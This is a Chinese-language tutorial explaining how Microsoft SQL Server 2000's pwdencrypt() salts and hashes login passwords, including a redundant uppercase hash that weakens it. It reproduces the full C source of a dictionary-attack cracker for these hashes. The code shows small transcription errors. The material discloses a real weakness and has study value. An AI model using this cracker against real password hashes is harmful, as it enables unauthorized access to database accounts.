明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

破解MSSQL中的HASH密碼

[摘要]SQL服務(wù)器是怎樣儲(chǔ)存密碼的?SQL服務(wù)器使用了一個(gè)沒有公開的函數(shù)pwdencrypt()對(duì)用戶密碼產(chǎn)生一個(gè)hash。 通過研究我們可以發(fā)現(xiàn)這個(gè)hash儲(chǔ)存在mater數(shù)據(jù)庫的sysxlogins...

SQL服務(wù)器是怎樣儲(chǔ)存密碼的?

SQL服務(wù)器使用了一個(gè)沒有公開的函數(shù)pwdencrypt()對(duì)用戶密碼產(chǎn)生一個(gè)hash。 通過研究我們可以發(fā)

現(xiàn)這個(gè)hash儲(chǔ)存在mater數(shù)據(jù)庫的sysxlogins表里面。 這個(gè)可能已經(jīng)是眾所周知的事情了。

pwdencrypt()函數(shù)還沒有公布詳細(xì)的資料, 我們這份文檔將詳細(xì)對(duì)這個(gè)函數(shù)進(jìn)行討論, 并將指出sql

服務(wù)器儲(chǔ)存hash的這種方法的一些不足之處。 實(shí)際上, 等下我將會(huì)說‘密碼hashes’。 (allyesno:后

文會(huì)討論到, 由于時(shí)間的關(guān)系即使當(dāng)密碼相同的時(shí)候生成的hash也并不是唯一一個(gè), 所以是hashes)

SQL的密碼hash看起來是怎樣的呢?

我們使用查詢分析器, 或者任何一個(gè)SQL客戶端來執(zhí)行這條語句:

select password from master.dbo.sysxlogins where name='sa'

屏幕會(huì)返回類似下面這行字符串的東東。

0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA

954AFF4057056D9B

這是我機(jī)子上登錄密碼的hash。

通過分析hash我們可以從中獲取pwdencrypt()的一些什么信息?

1.時(shí)間

首先我們使用查詢 select pwdencrypt() 來生成hash

select pwdencrypt('ph4nt0m')

生成hash

0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D

4B8279BA19EFE77

ok再一次 select pwdencrypt('ph4nt0m')

0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB85

4FB343F3DBB106CFB

我們注意到, 雖然兩次我們加密的字符串都是ph4nt0m但是生成的hash卻不一樣。

那么是什么使兩次hash的結(jié)果不一樣呢, 我們大膽的推測是時(shí)間在這里面起到了關(guān)鍵的作用,

它是創(chuàng)建密碼hashes和儲(chǔ)存hashes的重要因素。 之所以使用這樣的方式,

是因?yàn)楫?dāng)兩個(gè)人輸入同樣的密碼時(shí)可以以此產(chǎn)生不同的密碼hashes用來掩飾他們的密碼是相同的。

2.大小寫(廣告時(shí)間:英漢網(wǎng)絡(luò)技術(shù)詞匯這本字典好, 翻譯的時(shí)候很多金山詞霸找不到的東西, 它

都能弄出來)

使用查詢

select pwdencrypt('ALLYESNO')

我們將得到hash

0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296

771E4C91

通過觀察, 我們可以發(fā)現(xiàn)這段hash中有兩段是相同的, 如果你不能馬上看出來, 讓我們把它截?cái)鄟?/p>

看。

0x0100(固定)

4C61CD2D(補(bǔ)充key)

D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)

D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)

現(xiàn)在我們可以看出來最后兩組字符串是一模一樣的了。 這說明這段密碼被相同的加密方式進(jìn)行了兩

次加密。 一組是按照字符原型進(jìn)行加密, 另一組是按照字符的大寫形式進(jìn)行了加密。 當(dāng)有人嘗試破

解SQL密碼的時(shí)候?qū)?huì)比他預(yù)期要容易, 這是一個(gè)糟糕的加密方式。 因?yàn)槠平饷艽a的人不需要理會(huì)字

符原型是大寫還是小寫, 他們只需要破解大寫字符就可以了。 這將大大減少了破解密碼者所需要破

解密碼的字符數(shù)量。 (allyesno:flashsky的文章《淺談SQL SERVER數(shù)據(jù)庫口令的脆弱性》中曾經(jīng)

提到“如因?yàn)槠渌惴ㄒ粯樱?如果HASH1=HASH2, 就可以判斷口令肯定是未使用字母, 只使用了數(shù)字和

符號(hào)的口令”。 實(shí)際上并不如flashsky所說的完全相同, 我們使用了select pwdencrypt()進(jìn)行加密

以后就可以發(fā)現(xiàn)使用了數(shù)字和符號(hào)和大寫字母的密碼其hash1和hash2都會(huì)相同, 所以這是flashsky

文章中一個(gè)小小的bug)

補(bǔ)充key

根據(jù)上文所述, 當(dāng)時(shí)間改變的時(shí)候也會(huì)使得hash改變, 在hash中有一些跟時(shí)間有關(guān)系的信息使得密

碼的hashes不相同, 這些信息是很容易獲取的。 當(dāng)我們登錄的時(shí)候依靠從登錄密碼中和數(shù)據(jù)庫中儲(chǔ)

存的hash信息, 就可以做一個(gè)比較從而分析出這部分信息, 我們可以把這部分信息叫做補(bǔ)充key。

上文中我們獲取的hash中, 補(bǔ)充key 4C61CD2D 就是這個(gè)信息的一部分。

這個(gè)key 4C61CD2D 由以下闡述的方法生成。

time()C 函數(shù)被調(diào)用作為一個(gè)種子傳遞給srand()函數(shù)。 一旦srand()函數(shù)被作為rand()函數(shù)的種子

并且被調(diào)用生成偽隨機(jī)key, srand()就會(huì)設(shè)置了一個(gè)起點(diǎn)產(chǎn)生一系列的(偽)隨機(jī)key。 然后sql

服務(wù)器會(huì)將這個(gè)key截?cái)嗳∫徊糠郑?放置在內(nèi)存里面。 我們叫它key1。 這個(gè)過程將會(huì)再運(yùn)行一次并

生成另一個(gè)key我們叫他key2。 兩個(gè)key連在一起就生成了我們用來加密密碼的補(bǔ)充key。

密碼的散列法

用戶的密碼會(huì)被轉(zhuǎn)換成UNICODE形式。 補(bǔ)充key會(huì)添加到他們后面。 例如以下所示:

{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}

以上的字符串將會(huì)被sql服務(wù)器使用pwdencrypt()函數(shù)進(jìn)行加密(這個(gè)函數(shù)位于advapi32.dll)。 生

成兩個(gè)hash

0x0100(固定)

4C61CD2D(補(bǔ)充key)

D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)

D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)

驗(yàn)證過程

用戶登錄SQL服務(wù)器的驗(yàn)證過程是這樣子的:當(dāng)用戶登陸的時(shí)候, SQL服務(wù)器在數(shù)據(jù)庫中調(diào)用上面例

子中的補(bǔ)充key4C61CD2D, 將其附加在字符串“ALLYESNO”的后面, 然后使用pwdencrypt()函數(shù)進(jìn)行加

密。 然后把生成的hash跟數(shù)據(jù)庫內(nèi)的hash進(jìn)行對(duì)比, 以此來驗(yàn)證用戶輸入的密碼是否正確。

SQL服務(wù)器密碼破解

我們可以使用同樣的方式去破解SQL的密碼。 當(dāng)然我們會(huì)首先選擇使用大寫字母和符號(hào)做為字典進(jìn)行

破解, 這比猜測小寫字母要來得容易。

一個(gè)命令行的MSSQL服務(wù)器HASH破解工具源代碼

/////////////////////////////////////////////////////////////////////////////////

//

// SQLCrackCl

//

// This will perform a dictionary attack against the

// upper-cased hash for a password. Once this

// has been discovered try all case variant to work

// out the case sensitive password.

//

// This code was written by David Litchfield to

// demonstrate how Microsoft SQL Server 2000

// passwords can be attacked. This can be

// optimized considerably by not using the CryptoAPI.

//

// (Compile with VC++ and link with advapi32.lib

// Ensure the Platform SDK has been installed, too!)

//

//////////////////////////////////////////////////////////////////////////////////

#i nclude <stdio.h>

#i nclude <windows.h>

#i nclude <wincrypt.h>

FILE *fd=NULL;

char *lerr = "\nLength Error!\n";

int wd=0;

int OpenPasswordFile(char *pwdfile);

int CrackPassword(char *hash);

int main(int argc, char *argv[])

{

int err = 0;

if(argc !=3)

{

printf("\n\n*** SQLCrack *** \n\n");

printf("C:\>%s hash passwd-file\n\n",argv[0]);

printf("David Litchfield (david@ngssoftware.com)\n");

printf("24th June 2002\n");

return 0;

}

err = OpenPasswordFile(argv[2]);

if(err !=0)

{

return printf("\nThere was an error opening the password file %s\n",argv[2]);

}

err = CrackPassword(argv[1]);

fclose(fd);

printf("\n\n%d",wd);

return 0;

}

int OpenPasswordFile(char *pwdfile)

{

fd = fopen(pwdfile,"r");

if(fd)

return 0;

else

return 1;

}

int CrackPassword(char *hash)

{

char phash[100]="";

char pheader[8]="";

char pkey[12]="";

char pnorm[44]="";

char pucase[44]="";

char pucfirst[8]="";

char wttf[44]="";

char uwttf[100]="";

char *wp=NULL;

char *ptr=NULL;

int cnt = 0;

int count = 0;

unsigned int key=0;

unsigned int t=0;

unsigned int address = 0;

unsigned char cmp=0;

unsigned char x=0;

HCRYPTPROV hProv=0;

HCRYPTHASH hHash;

DWORD hl=100;

unsigned char szhash[100]="";

int len=0;

if(strlen(hash) !=94)

{

return printf("\nThe password hash is too short!\n");

}

if(hash[0]==0x30 && (hash[1]== 'x' hash[1] == 'X'))

{

hash = hash + 2;

strncpy(pheader,hash,4);

printf("\nHeader\t\t: %s",pheader);

if(strlen(pheader)!=4)

return printf("%s",lerr);

hash = hash + 4;

strncpy(pkey,hash,8);

printf("\nRand key\t: %s",pkey);

if(strlen(pkey)!=8)

return printf("%s",lerr);

hash = hash + 8;

strncpy(pnorm,hash,40);

printf("\nNormal\t\t: %s",pnorm);

if(strlen(pnorm)!=40)

return printf("%s",lerr);

hash = hash + 40;

strncpy(pucase,hash,40);

printf("\nUpper Case\t: %s",pucase);

if(strlen(pucase)!=40)

return printf("%s",lerr);

strncpy(pucfirst,pucase,2);

sscanf(pucfirst,"%x",&cmp);

}

else

{

return printf("The password hash has an invalid format!\n");

}

printf("\n\n Trying...\n");

if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))

{

if(GetLastError()==NTE_BAD_KEYSET)

{

// KeySet does not exist. So create a new keyset

if(!CryptAcquireContext(&hProv,

NULL,

NULL,

PROV_RSA_FULL,

CRYPT_NEWKEYSET ))

{

printf("FAILLLLLLL!!!");

return FALSE;

}

}

}

while(1)

{

// get a word to try from the file

ZeroMemory(wttf,44);

if(!fgets(wttf,40,fd))

return printf("\nEnd of password file. Didn't find the password.\n");

wd++;

len = strlen(wttf);

wttf[len-1]=0x00;

ZeroMemory(uwttf,84);

// Convert the word to UNICODE

while(count < len)

{

uwttf[cnt]=wttf[count];

cnt++;

uwttf[cnt]=0x00;

count++;

cnt++;

}

len --;

wp = &uwttf;

sscanf(pkey,"%x",&key);

cnt = cnt - 2;

// Append the random stuff to the end of

// the uppercase unicode password

t = key >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 8;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 16;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

t = key << 24;

t = t >> 24;

x = (unsigned char) t;

uwttf[cnt]=x;

cnt++;

// Create the hash

if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))

{

printf("Error %x during CryptCreatHash!\n", GetLastError());

return 0;

}

if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))

{

printf("Error %x during CryptHashData!\n", GetLastError());

return FALSE;

}

CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);

// Test the first byte only. Much quicker.

if(szhash[0] == cmp)

{

// If first byte matches try the rest

ptr = pucase;

cnt = 1;

while(cnt < 20)

{

ptr = ptr + 2;

strncpy(pucfirst,ptr,2);

sscanf(pucfirst,"%x",&cmp);

if(szhash[cnt]==cmp)

cnt ++;

else

{

break;

}

}

if(cnt == 20)

{

// We've found the password

printf("\nA MATCH!!! Password is %s\n",wttf);

return 0;

}

}

count = 0;

cnt=0;

}

return 0;

}


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。




標(biāo)簽:破解MSSQL中的HASH密碼